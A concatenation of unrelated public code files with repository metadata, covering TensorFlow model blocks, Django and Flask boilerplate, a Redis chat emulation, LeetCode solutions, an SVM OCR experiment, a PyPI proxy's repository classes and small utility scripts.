resnet.batch_norm_relu(inputs, is_training, relu=False, data_format=data_format) residual = projection_shortcut(grid_structured) inputs = resnet.conv2d_fixed_padding( inputs=grid_structured, filters=hidden_size_base, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=hidden_size_base, kernel_size=[1, 3], strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=filters_out, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu( inputs, is_training, relu=False, init_zero=False, data_format=data_format) return tf.nn.relu(inputs + residual) def bottleneck_resnet_block(grid_structured, hp, kernel_size=3, out_multiple=4): data_format = "channels_last" is_training = hp.mode == tf.estimator.ModeKeys.TRAIN hidden_size_base = hp.hidden_size filters_out = out_multiple * hidden_size_base def projection_shortcut(inputs): inputs = resnet.conv2d_fixed_padding(inputs, filters_out, kernel_size=1, data_format=data_format, strides=1, is_training=is_training) return resnet.batch_norm_relu(inputs, is_training, relu=False, data_format=data_format) residual = projection_shortcut(grid_structured) inputs = resnet.conv2d_fixed_padding( inputs=grid_structured, filters=hidden_size_base, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=hidden_size_base, kernel_size=kernel_size, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=filters_out, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu( inputs, is_training, relu=False, init_zero=False, data_format=data_format) return tf.nn.relu(inputs + residual) def bottleneck_tlsa(grid_structured, hp): for layer in range(hp.num_hidden_layers): with tf.variable_scope(f"bottleneck_tlsa_block_{layer}"): grid_structured = bottleneck_tlsa_block(grid_structured, hp) return grid_structured def bottleneck_resnet(grid_structured, hp, kernel_size=3): for layer in range(hp.num_hidden_layers): with tf.variable_scope(f"bottleneck_resnet_block_{layer}"): grid_structured = bottleneck_resnet_block(grid_structured, hp, kernel_size) return grid_structured def text_tcnn_body(grid_structured_states, hparams): """TextCNN main model_fn. Args: "grid_structured_states": Text inputs. [batch_size, num_stacks, stack_size, hidden_dim]. Returns: Final encoder representation. [batch_size, 1, 1, hidden_dim] """ inputs = grid_structured_states xshape = common_layers.shape_list(inputs) vocab_size = xshape[3] pooled_outputs = [] for _, filter_size in enumerate(hparams.filter_sizes): with tf.name_scope("conv-maxpool-%s" % filter_size): filter_shape = [filter_size, filter_size, vocab_size, hparams.num_filters] filter_var = tf.Variable( tf.truncated_normal(filter_shape, stddev=0.1), name="W") filter_bias = tf.Variable( tf.constant(0.1, shape=[hparams.num_filters]), name="b") conv = tf.nn.conv2d( inputs, filter_var, strides=[1, 1, 1, 1], padding="VALID", name="conv") conv_outputs = tf.nn.relu( tf.nn.bias_add(conv, filter_bias), name="relu") pooled = tf.math.reduce_max( conv_outputs, axis=1, keepdims=True, name="max") pooled = tf.math.reduce_max( pooled, axis=2, keepdims=True, name="max") pooled_outputs.append(pooled) num_filters_total = hparams.num_filters * len(hparams.filter_sizes) h_pool = tf.concat(pooled_outputs, 3) h_pool_flat = tf.reshape(h_pool, [-1, num_filters_total]) # Add dropout output = tf.nn.dropout(h_pool_flat, 1 - hparams.output_dropout) output = tf.reshape(output, [-1, 1, 1, num_filters_total]) return output def decode_by_decoder_type(grid_structured_states, hp, features=None): if hp.decoder_type == "cnn": grid_structured_outputs = bottleneck_resnet(grid_structured_states, hp) elif hp.decoder_type == "acnn": grid_structured_outputs = bottleneck_tlsa(grid_structured_states, hp) elif hp.decoder_type == "text_tcnn": grid_structured_outputs = text_tcnn_body(grid_structured_states, hp) else: grid_structured_outputs = grid_structured_states grid_structured_outputs = tf.identity(grid_structured_outputs, "grid_structured_outputs") return grid_structured_outputs
[ "ksk5693@snu.ac.kr" ]
ksk5693@snu.ac.kr
fee16caa3dd2f6b61d0a0ef336efadf80ff70336
0e9726bced390513f6d8076c240b09e0a1a8961c
/manage.py
0c0a3050bcd1374a05682c49f5f1587ed72908db
[]
no_license
EwdAger/mailAlarm
dbfe8ba03bfede1dfbb670f707a88bc5bd6d144c
fae43b0c2b33bab0c8a894e50602c983d7f58577
refs/heads/master
2022-12-10T01:41:57.412145
2020-03-31T01:57:18
2020-03-31T01:57:18
249,985,604
1
0
null
2022-12-08T03:53:40
2020-03-25T13:27:19
Python
UTF-8
Python
false
false
629
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mailAlarm.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()
[ "ningwenjie@getech.cn" ]
ningwenjie@getech.cn
8399ada2cac36ef84801fd128ad5754773477d68
32a65b2bfcb3d3e85bb64bf1bc0e829a634c23cd
/lab2/src/emulation.py
a8f8c295cd65ac911179c76867f34e7b8bbf8499
[]
no_license
dpalii/db_sem2
99b8c07268d4233464e0d4e749b0324ddad1268e
05e933feb74aaecf311b85899eb7da8559a49a52
refs/heads/main
2023-05-07T12:17:21.584093
2021-05-29T21:27:09
2021-05-29T21:27:09
343,198,627
0
0
null
null
null
null
UTF-8
Python
false
false
1,613
py
import random from threading import Thread import user from faker import Faker import redis import atexit class User(Thread): def __init__(self, connection, username, users_list, users_count): Thread.__init__(self) self.connection = connection self.users_list = users_list self.users_count = users_count user.register(conn, username) self.user_id = user.sign_in(conn, username) def run(self): for x in range(6): message_text = fake.sentence(nb_words=10, variable_nb_words=True, ext_word_list=None) if random.choice([True, False]) else 'spam' receiver = users[random.randint(0, users_count - 1)] print(f"Message {message_text} was sent to {receiver}") user.create_message(self.connection, message_text, self.user_id, receiver) def exit_handler(): redis_conn = redis.Redis(charset="utf-8", decode_responses=True) online = redis_conn.smembers("online:") for x in online: redis_conn.srem("online:", x) print("EXIT") if __name__ == '__main__': atexit.register(exit_handler) fake = Faker() users_count = 5 users = [fake.profile(fields=['username'], sex=None)['username'] for u in range(users_count)] threads = [] for x in range(users_count): conn = redis.Redis(charset="utf-8", decode_responses=True) print(users[x]) threads.append(User( redis.Redis(charset="utf-8", decode_responses=True), users[x], users, users_count)) for t in threads: t.start()
[ "dpalii.study@gmail.com" ]
dpalii.study@gmail.com
d82c14428e5db53afc6e67f452fca67e343550bd
9f299a8ac1bb9fb5bb8a93067f9f09ce46812c5e
/meta.py
8f53c1ee54690b97372c826c367504f73d93238d
[]
no_license
hlycharles/WarfarinDoseRL
2ba831c93a6de5929531dacd7bfc70e7e82d89e7
f67650b8bcc176d6e5efee846e25797d4533c195
refs/heads/master
2020-04-26T00:59:31.315566
2019-04-04T22:17:39
2019-04-04T22:17:39
173,193,170
6
3
null
null
null
null
UTF-8
Python
false
false
1,225
py
# feature names GENDER = 1 RACE = 2 ETHNICITY = 3 AGE = 4 HEIGHT = 5 WEIGHT = 6 INDICATION = 7 COMORBIDITIES = 8 DIABETES = 9 CONG_HEART = 10 VALVE = 11 MEDICATIONS = 12 ASPIRIN = 13 TYLENOL = 14 WAS_TYLENOL = 15 SIMVASTATIN = 16 ATORVASTATIN = 17 FLUVASTATIN = 18 LOVASTATIN = 19 PARAVASTATIN = 20 ROSUVASTATIN = 21 CERIVASTATIN = 22 AMIODARONE = 23 CARBAMAZEP = 24 PHENYTOIN = 25 RIFAMPIN = 26 SULFONAMIDE = 27 MACROLIDE = 28 ANTI_FUNGAL = 29 HERBAL = 30 TARGET_INR = 31 EST_INR = 32 STBLE_DOSE = 33 THERAPEUTIC_DOSE = 34 INR_REP = 35 SMOKER = 36 CYP_2C9 = 37 CYP_2C92 = 38 CYP_2C93 = 39 COMB_CYP2C9 = 40 VKORC1_3673 = 41 VKORC1_3673_QC = 42 VKORC1_5808 = 43 VKORC1_5808_QC = 44 VKORC1_6484 = 45 VKORC1_6484_QC = 46 VKORC1_6853 = 47 VKORC1_6853_QC = 48 VKORC1_9041 = 49 VKORC1_9041_QC = 50 VKORC1_7566 = 51 VKORC1_7566_QC = 52 VKORC1_861 = 53 VKORC1_861_QC = 54 CYP_CONS = 55 VKORC1_N1639_CONS = 56 VKORC1_497_CONS = 57 VKORC1_1173_CONS = 58 VKORC1_1542_CONS = 59 VKORC1_3730_CONS = 60 VKORC1_2255_CONS = 61 VKORC1_N4451_CONS = 62 # feature tags FEATURE_NO = 0 FEATURE_LIST_ENUM = 1 FEATURE_ENUM = 2 FEATURE_RANGE = 3 FEATURE_NUM = 4 FEATURE_BIN = 5 FEATURE_LIST_MAX = 6 # dose ranges DOSE_LO = 0 DOSE_MD = 1 DOSE_HI = 2
[ "hly.charles@gmail.com" ]
hly.charles@gmail.com
15d8e4e96406fa345ca1a8f85f263bd230c55691
c91b284acf6bdca5683f080dd4ba77fd394451ae
/Easy Problems/RemoveLinkedListElements.py
052f5750fff77a57aeb20a942affee8938a60f03
[]
no_license
darpanmehra/Leetcode
f523ac5ea4f9ba0e0ccaaeab259212c1ee188de8
18335b9a6d3da305c968acb90f9cf86cd6c40692
refs/heads/master
2020-05-28T09:47:41.175070
2019-05-29T12:30:51
2019-05-29T12:30:51
188,960,041
0
0
null
null
null
null
UTF-8
Python
false
false
1,101
py
#203. Remove Linked List Elements #Problem Link: https://leetcode.com/problems/remove-linked-list-elements/ #Remove all elements from a linked list of integers that have value val. #Example: #Input: 1->2->6->3->4->5->6, val = 6 #Output: 1->2->3->4->5 # Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None class Solution(object): def removeElements(self, head, val): """ :type head: ListNode :type val: int :rtype: ListNode """ dummyhead = ListNode(-1) dummyhead.next = head current_node=dummyhead while current_node.next != None: if current_node.next.val == val: current_node.next = current_node.next.next else: current_node = current_node.next return dummyhead.next #Runtime: 56 ms, faster than 96.16% of Python online submissions for Remove Linked List Elements. #Memory Usage: 18.8 MB, less than 18.13% of Python online submissions for Remove Linked List Elements
[ "darpan.mehra10@gmail.com" ]
darpan.mehra10@gmail.com
1000b8d48680faa5d595c54a4a316f790e37b492
7381c70b78a1841e3a14fd6d6b933e9de503bbea
/semana5/horno_alternativo.py
8d8d697a0257fb6531f514191b749181d4f7e571
[]
no_license
mundostr/adimra_introprog21_raf
c594a958f77797b67b9925671341ffe8ae4899ea
d529daae684268b6e8548e53dfdba7092bf83081
refs/heads/master
2023-07-17T15:06:23.775878
2021-08-27T23:17:12
2021-08-27T23:17:12
370,476,686
1
0
null
null
null
null
UTF-8
Python
false
false
1,340
py
# LIBRERIAS import random # DEFINICIONES TEMP_MIN = 100 TEMP_MAX = 200 TEMP_TOL = 2 TEMP_OBJ = 150 TEMP_PRUEBA = 145 # FUNCIONES def generarArchivoRandomSensor(): # r = read (lectura) # w = write (escritura sobreescrita) # a = append (escritura agregada) archivo = open("lecturas_horno.txt", "w") for x in range(50): valorRandom = random.randint(TEMP_PRUEBA - TEMP_TOL, TEMP_PRUEBA + TEMP_TOL + 1) valorRandom = str(valorRandom) + "\n" archivo.write(valorRandom) archivo.close() print("Archivo generado") def verificarTemperatura(): # Recuperación de lecturas de sensor archivo = open("lecturas_horno.txt", "r") lista = archivo.read().split("\n") archivo.close() # Obtención de promedio totalLecturas = 0 for indice, item in enumerate(lista): lista[indice] = int(item) # lista[indice] = int(lista[indice]) totalLecturas = totalLecturas + lista[indice] promedio = totalLecturas / 50 print(promedio) # Comparación de promedio con obj OBJ_MIN = TEMP_OBJ - TEMP_TOL OBJ_MAX = TEMP_OBJ + TEMP_TOL # if (promedio >= OBJ_MIN and promedio <= OBJ_MAX): if (OBJ_MIN <= promedio <= OBJ_MAX): print("Horno estable") elif (promedio > OBJ_MAX): print("Horno muy caliente, apagar quemador") else: print("Horno frío, encender quemador") # PRINCIPAL # generarArchivoRandomSensor() verificarTemperatura()
[ "idux.net@gmail.com" ]
idux.net@gmail.com
63ee8feb4bb7423ab04b8f7cb28741718b479ce5
6f178111463bcdbdd285c7480938c826c0a422e5
/python/find_n.py
3dd58d322f43b1fd048eb2aa08dea349e1822d26
[]
no_license
ivanliu/fun
a77c37f651d87907c39e2ebc671f12b696e9b746
ad986f8ffdf3d5e06e5ac31c77c1442f6e48042e
refs/heads/master
2021-01-13T04:31:00.944989
2020-03-22T15:09:51
2020-03-22T15:09:51
9,335,143
0
0
null
null
null
null
UTF-8
Python
false
false
292
py
def find_n(A, B, n): ''' find the n-th largest item in two sorted arrays ''' if __name__ == '__main__': A = [100, 98, 89, 77, 66, 55,44] B = [101, 94, 67, 50, 20,3] print "Array A: ", A print "Array B: ", B print "The 5th largest number: ", find_n(A, B, 5)
[ "kailiu@yahoo-inc.com" ]
kailiu@yahoo-inc.com
fe3b3cdb958b9b7d1dc73d3f854f5f3811da9d6c
f94d9cf5ed8b90a4406b38d3ba223eab8778a6d9
/app.py
d5475d39ff05e614a8cf80ea68b65c8e023e2d24
[]
no_license
alexaapetrei/flask-helloworld
e646c4baaa939a15ed1c567c0074ff4c2b6fd4f3
ccb0a0f76dbe9a2cc58d645f3c1f52ac292927be
refs/heads/master
2020-03-15T12:01:47.303237
2018-10-08T09:03:11
2018-10-08T09:03:11
132,135,016
0
0
null
2018-05-04T12:04:54
2018-05-04T12:04:54
null
UTF-8
Python
false
false
118
py
import os from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "Hello from Python!"
[ "craig.kerstiens@gmail.com" ]
craig.kerstiens@gmail.com
4bb368bc464136b85a108a937fac5d39a43dfd85
b43db176243e768771e24ceb637206803e044272
/setup_control/setup.py
a7e8058a6981d24cc94797c568637be2242783c0
[]
no_license
jc-roth/Microwave-Transmission-Experiment
3cf886383d4be079167207c61361b373be0ca2d5
bb287726f422e17ee9692e3edd8b314a968067cc
refs/heads/master
2021-06-24T08:03:50.701185
2017-08-19T00:10:26
2017-08-19T00:10:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
330
py
from setuptools import setup setup(name='setup_control', version=1.0, description='For use controling the microwave transmission setup', url='https://github.com/catsandcode/Microwave-Transmission-Experiment', packages=['setup_control'], install_requires=['numpy', 'pyserial'], zip_safe=False)
[ "jc.roth73@gmail.com" ]
jc.roth73@gmail.com
be724e65f91b25edf4c500268e61aaea8fe67371
c6fb8ed0717859364999b45daa43e4288be2e928
/Assignment4/Q4/ocr/linear/linear.py
c43b591b1608b844afdca530db4d755e0c7b3062
[]
no_license
aditya3513/Machine-Learning-using-Numpy-and-Pandas
d74777cbe314ea1cc438f9afe527aebb3e1ca2ba
eb6ed9dda9534490bfe100b5d4bcb0cac30a9c62
refs/heads/master
2020-04-14T14:17:41.127609
2019-01-02T21:40:17
2019-01-02T21:40:17
163,892,438
0
0
null
null
null
null
UTF-8
Python
false
false
5,923
py
import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.model_selection import KFold from sklearn.preprocessing import StandardScaler from sklearn.svm import SVC from sklearn.metrics import accuracy_score from sklearn.metrics import recall_score from sklearn.metrics import precision_score from sklearn import metrics #reading data in nd-Arrays train_data = np.genfromtxt ('../train.csv', delimiter=",") test_data = np.genfromtxt ('../test.csv', delimiter=",") #shuffle data np.random.shuffle(train_data) np.random.shuffle(test_data) # nd array of Features X_train = train_data[:, :-1].astype(np.float) #nd array of Labels Y_train = train_data[:, -1].flatten() # nd array of Features X_test = test_data[:, :-1].astype(np.float) #nd array of Labels Y_test = test_data[:, -1].flatten() #for class 1 and all else nagative def getY(Y, index): Y_input = Y print("//////////",Y_input) for i in range(len(Y_input)): if Y_input[i] == index: Y_input[i] = 1 else: Y_input[i] = 0 return Y_input def getC(): C = [] for i in np.arange(-5, 10, dtype=float): val = np.power(2,i) C.append(val) return C def getCombinations(C): combinations = [] for c in C: combinations.append(c) return combinations def run(X_train, Y_train, X_test, Y_test): C = getC() combinations = getCombinations(C) # C array final_acc = [] final_recall = [] final_precision = [] #generating K folds, i.e 10 folds # kf_k = KFold(n_splits=10) k = 1 #this splis data in to 90:10 train-test split # for train_index, test_index in kf_k.split(X): kf_m = KFold(n_splits=5) # X_train, X_test = X[train_index], X[test_index] # Y_train = Y[train_index].flatten() # Y_test = Y[test_index].flatten() # Y_train, Y_test = Y[train_index], Y[test_index] best_score = -999 best_score_combo = 0 for combination in combinations: scores = [] for train_index_m, test_index_m in kf_m.split(X_train): X_train_m, X_test_m = X_train[train_index_m], X_train[test_index_m] Y_train_m = Y_train[train_index_m] Y_test_m = Y_train[test_index_m] scaler_m = StandardScaler().fit(X_train_m) X_train_m_scaled = scaler_m.transform(X_train_m) X_test_m_scaled = scaler_m.transform(X_test_m) X_train_m_scaled = np.insert(X_train_m_scaled, 0, np.ones(X_train_m.shape[0]), axis=1) X_test_m_scaled = np.insert(X_test_m_scaled, 0, np.ones(X_test_m.shape[0]), axis=1) model = SVC(C=combination, kernel='linear', max_iter=1000, probability=True) model.fit(X_train_m_scaled, Y_train_m) # score = model.score(X_test_m_scaled, Y_test_m) train_preds = model.predict_proba(X_test_m_scaled)[:,1] training_acc = accuracy_score(Y_test_m, train_preds.round()) # train_fpr, train_tpr, train_threshold = metrics.roc_curve(Y_test_m, train_preds.round()) # train_roc_auc = metrics.auc(train_fpr, train_tpr) scores.append(training_acc) mean_score = np.mean(scores) # print("----------Tuning [gamma, C] = ",combination, " score = ", mean_score) # print("mean score = ",mean_score) # combo_scores.append(mean_score) if mean_score > best_score: best_score = mean_score best_score_combo = combination print("------------------------------------------") print("Training results for fold = ",k, " [C] = ", best_score_combo) print("Final Results for all k folds") print("auc score = ", best_score) #normalizing Training data scaler = StandardScaler().fit(X_train) X_train_scaled = scaler.transform(X_train) X_test_scaled = scaler.transform(X_test) X_train_scaled = np.insert(X_train_scaled, 0, np.ones(X_train.shape[0]), axis=1) X_test_scaled = np.insert(X_test_scaled, 0, np.ones(X_test.shape[0]), axis=1) # Y_train = Y[train_index].flatten() # Y_test = Y[test_index].flatten() model = SVC(C=best_score_combo, kernel='linear', max_iter=1000, probability=True) model.fit(X_train_scaled, Y_train) preds = model.predict_proba(X_test_scaled)[:,1] preds = preds.round() # preds = pred # actual_score = model.score(X_test_scaled, Y_test) # final_acc.append(actual_score) ''' Now we calculate accuracy, recall, percision ''' # accuracy validation_acc = accuracy_score(Y_test, preds) final_acc.append(validation_acc) # recall validation_recall = recall_score(Y_test, preds) final_recall.append(validation_recall) # precision validation_precision = precision_score(Y_test, preds) final_precision.append(validation_precision) print("\n\n Validation results for fold = ",k, " [C] = ", best_score_combo) print("Final Results for all k folds") print("accuracy = ", validation_acc) print("recall = ", validation_recall) print("precision = ", validation_precision) # print("Validation at fold k = ",k," best combination [gamma, C] = ",best_score_combo, " score = ", actual_score) ''' Now we calculate auc, roc and curves ''' fpr, tpr, threshold = metrics.roc_curve(Y_test, preds) df = pd.DataFrame(dict(fpr = fpr, tpr = tpr)) roc_auc = metrics.auc(fpr, tpr) plt.figure() plt.title('Receiver Operating Characteristic') plt.plot(fpr, tpr, 'b', label = 'AUC = %0.2f' % roc_auc) plt.legend(loc = 'lower right') plt.plot([0, 1], [0, 1],'r--') plt.xlim([0, 1]) plt.ylim([0, 1]) plt.ylabel('True Positive Rate') plt.xlabel('False Positive Rate') file_name = "fold_k_"+ str(k)+".png" plt.savefig(file_name) # k = k + 1 print("\n\n\n\n================================") print("Final Results for all k folds") print("mean accuracy = ", np.mean(final_acc)) print("std dev. accuracy = ", np.std(final_acc)) print("mean recall = ", np.mean(final_recall)) print("std dev. recall = ", np.std(final_recall)) print("mean precision = ", np.mean(final_precision)) print("std dev. precision = ", np.std(final_precision)) # print("Mean = ", np.mean(acc)*100) # print("Stand Deviation = ", np.std(acc)*100) print(set(Y_train)) for i in set(Y_train): print(set(getY(Y_train, i)))
[ "aditya413sharma@gmail.com" ]
aditya413sharma@gmail.com
2a6f0478aedfaa1dd0ee1c606fd33b53ae3cd21c
18e2acae29b5fabf3e0286a863d4266eb03478c7
/regressionMetrics.py
b52ceaf0ccad5ce230f19043af2a3f3accfc6592
[]
no_license
moone009/wec_python
b0cbae0082e9fa7e0b8c5279693bca74780332ef
2f1942de0548a22880720a0cba548352468cb4ce
refs/heads/master
2020-07-02T06:20:24.870695
2016-09-01T20:11:29
2016-09-01T20:11:29
66,573,846
0
0
null
null
null
null
UTF-8
Python
false
false
1,495
py
## from regressionMetrics import * ## performancemetrics.regression_metrics(predictions,Y_train) import math import pandas as pd class performancemetrics: def __init__(self, predictions,test_var): self.predictions = predictions self.test_var = test_var def regression_metrics(predictions,test_var): predictions = pd.DataFrame(predictions) nrows = len(pd.DataFrame.as_matrix(test_var)) sum = test_var.sum() average = float(sum/nrows) SSR = (predictions - average) ** 2 SSR = SSR.sum() SSE = (pd.DataFrame.as_matrix(test_var)-predictions) ** 2 SSE = SSE.sum() SST = (pd.DataFrame.as_matrix(test_var) - average) ** 2 SST = SST.sum() R2 = SSR/SST RMSE = (predictions - pd.DataFrame.as_matrix(test_var)) ** 2 RMSE = RMSE.sum() RMSE = math.sqrt(RMSE) / len(predictions) MAE = predictions - pd.DataFrame.as_matrix(test_var) MAE = MAE.abs().sum()/ len(predictions) values = [['Numer of Predictions',len(predictions)], ['Numer of Test Variables',nrows], ['SSR',SSR],['SSE',SSE], ['SST',SST], ['R2',R2], ['MAE',MAE], ['RMSE',RMSE]] df = pd.DataFrame(values, columns=['Measurement', 'value']) df.a = df.value.astype(float).fillna(0.0) return(df)
[ "mooneychristopher1@gmail.com" ]
mooneychristopher1@gmail.com
40311c7c994be4510606c7f9f288c52cf5295113
a882b5aa0af27fe29a0a76f2e555409a1f1b766a
/Python Projects/Script/wifi_script.py
5396155ad1e73275ccce1132f99ed4c21d96cd5b
[]
no_license
Kunvuthi/pythonlearningprojects
d75394378641cedf85994ef78451e7ef3cc57712
c86d04e1520c3d8d05505bd383533d0f1caf85c4
refs/heads/master
2023-04-03T10:01:39.299732
2021-04-05T09:38:50
2021-04-05T09:38:50
281,588,497
1
0
null
null
null
null
UTF-8
Python
false
false
444
py
import sys import os import subprocess from decouple import config IP_NETWORK = config("IP_NETWORK") IP_DEVICE = config("IP_DEVICE") proc = subprocess.Popen(['ping', IP_NETWORK], stdout=subprocess.PIPE) while True: line = proc.stdout.readline() if not line: break connected_ip = line.decode('utf-8').split()[3] if connected_ip == IP_DEVICE: subprocess.Popen(['say','Someone has connected to your network!'])
[ "43140224+Kunvuthi@users.noreply.github.com" ]
43140224+Kunvuthi@users.noreply.github.com
524eda43cc3d3cacbdb8b9cbb191765a11acb289
cb6461bfae8b0935b7885697dad0df60670da457
/pychron/envisage/tasks/tip_view.py
1efc181187008c5bcdf0132eeb50734615cd992f
[ "Apache-2.0" ]
permissive
USGSMenloPychron/pychron
00e11910511ca053e8b18a13314da334c362695a
172993793f25a82ad986e20e53e979324936876d
refs/heads/develop
2021-01-12T14:09:18.983658
2018-02-06T14:25:05
2018-02-06T14:25:05
69,751,244
0
0
null
2016-10-01T16:59:46
2016-10-01T16:59:46
null
UTF-8
Python
false
false
1,706
py
# =============================================================================== # Copyright 2015 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =============================================================================== from pychron.core.ui import set_qt set_qt() # ============= enthought library imports ======================= from traits.api import HasTraits, Str from traitsui.api import View, UItem, TextEditor # ============= standard library imports ======================== # ============= local library imports ========================== class TipView(HasTraits): text = Str message = Str('<h1><font color=orange>Did you know?</font></h1>') def traits_view(self): v = View(UItem('message', style='readonly'), UItem('text', style='custom', editor=TextEditor(read_only=True)), buttons=['OK'], height=400, width=400, title='Random Tip', kind='livemodal') return v if __name__ == '__main__': t = TipView() t.configure_traits() # ============= EOF =============================================
[ "jirhiker@gmail.com" ]
jirhiker@gmail.com
f713f430a98ab0141570b2c3c365da0b4c1344c1
55ceefc747e19cdf853e329dba06723a44a42623
/_CodeTopics/LeetCode_contest/weekly/weekly2022/277/277_1.py
7ac9d39d8d60e1bb49d3f1b90acd2e1e7d3db2db
[]
no_license
BIAOXYZ/variousCodes
6c04f3e257dbf87cbe73c98c72aaa384fc033690
ee59b82125f100970c842d5e1245287c484d6649
refs/heads/master
2023-09-04T10:01:31.998311
2023-08-26T19:44:39
2023-08-26T19:44:39
152,967,312
0
1
null
null
null
null
UTF-8
Python
false
false
593
py
class Solution(object): def countElements(self, nums): """ :type nums: List[int] :rtype: int """ nums.sort() n = len(nums) if len(set(nums)) <= 2: return 0 i = 0 while i < n and nums[i] == nums[0]: i += 1 j = 0 while n-1-j >= 0 and nums[n-1-j] == nums[-1]: j += 1 return n - i - j """ https://leetcode-cn.com/submissions/detail/261446098/ 127 / 127 个通过测试用例 状态:通过 执行用时: 20 ms 内存消耗: 13.2 MB """
[ "noreply@github.com" ]
BIAOXYZ.noreply@github.com
52a294d4e7dcf0184eef8ccdef0e45ee6835ba3f
c17d2622df1979c853fb2bdf5637daaabafa34df
/src/pyroxy/repositories.py
70b1e547ba0ddcfd56bc530398883b171d8aa817
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
amcfague/pyroxy
a24d066dd7925e6618b55c4828ee310e84b49901
362c84335e1ca62c2edc5056b3732ad36d99240a
refs/heads/master
2021-01-22T20:08:47.453313
2012-04-27T04:39:45
2012-04-27T04:39:45
2,990,266
0
0
null
null
null
null
UTF-8
Python
false
false
3,180
py
import os.path import urllib2 from pyroxy.exceptions import SecurityException __all__ = ["BaseRepository", "LocalPypiRepository", "RemotePypiRepository"] DEFAULT_PYPI_URL = "http://pypi.python.org" def urljoin(*segments): return "/".join(segments) class BaseRepository(object): def get_index(self, package_name): return self.open_index(package_name).read() def get_static(self, path): return self.open_static(path).read() def open_index(self, package_name): """ Opens an index page, based on the specified ``package_name``. This usually resolves to some kind of index.html page. :param string package_name: The name of the package to resolve. Depending on the system, this may or may not be case sensitive. :returns: File-like object that implements the :func:`read` method. """ raise NotImplementedError def open_static(self, path): """ Opens a static file based on ``path``. :param path: Relative path to a static file, most likely a binary file. :returns: File-like object that implements the :func:`read` method. warning:: Be warned, this could be a relatively path that is a parent of the root directory. This function should insure that files outside of the root directory cannot be accessed. """ raise NotImplementedError class LocalPypiRepository(BaseRepository): def __init__(self, base_path): """ :param base_path: An absolute path to the `web` directory. """ self._base_path = os.path.abspath(base_path) def open_index(self, package_name): """ See :meth:`pyroxy.repositories.BaseRepository.open_index`. """ simple_index_path = os.path.join( self._base_path, "simple", package_name, "index.html") return open(simple_index_path, "r") def open_static(self, path): """ See :meth:`pyroxy.repositories.BaseRepository.open_static`. """ static_path = os.path.abspath(os.path.join(self._base_path, path)) if not static_path.startswith(self._base_path): raise SecurityException("Security breach!!") return open(static_path, "r") class RemotePypiRepository(BaseRepository): def __init__(self, pypi_base_url=DEFAULT_PYPI_URL): """ :param pypi_base_url: An absolute URL to the `web` directory online. """ self._url = pypi_base_url def open_index(self, package_name): """ See :meth:`pyroxy.repositories.BaseRepository.open_index`. """ # Add a trailing slash to indicate the directory; PyPI sometimes hides # its index files. simple_index_path = urljoin(self._url, "simple", package_name) + "/" return urllib2.urlopen(simple_index_path) def open_static(self, path): """ See :meth:`pyroxy.repositories.BaseRepository.open_static`. """ static_path = urljoin(self._url, path) return urllib2.urlopen(static_path)
[ "redmumba@gmail.com" ]
redmumba@gmail.com
64c731c3350074e539343ad99aedc0166911d7f9
8f887b19f25328c0a844b7e251e297af58ec72f8
/src/orderdetails/admin.py
79bde7c4836651890d713424f9d265c82620cd1a
[]
no_license
rushabh2390/shoppingwebsites
cdc22db4e00a770653168e5115f0e18af6151d51
946e3c1e33653fd8f8e39bd22d627322b63021b6
refs/heads/main
2023-08-24T19:33:23.724485
2021-09-10T06:18:13
2021-09-10T06:18:13
404,971,702
0
0
null
null
null
null
UTF-8
Python
false
false
122
py
from django.contrib import admin # Register your models here. from .models import OrderDetail admin.register(OrderDetail)
[ "er.rushabhdoshi@gmail.com" ]
er.rushabhdoshi@gmail.com
d46605a963cc8f769dbe759ad483fc416defb7bd
d5d189fff2e027f7aa38ecde58952bcb4b636d47
/include/ocr/train/backend/gen_sample.py
c27926b5f86b197603348478fb379288bd02955d
[]
no_license
wyc2015fq/cstd
5979a3c26d5c7f00aadda440b04176dcf043e7dc
664bcb4680a32811767f5541a8aae1551d621598
refs/heads/master
2020-05-15T20:22:19.209717
2019-04-20T16:08:03
2019-04-20T16:08:03
null
0
0
null
null
null
null
GB18030
Python
false
false
6,014
py
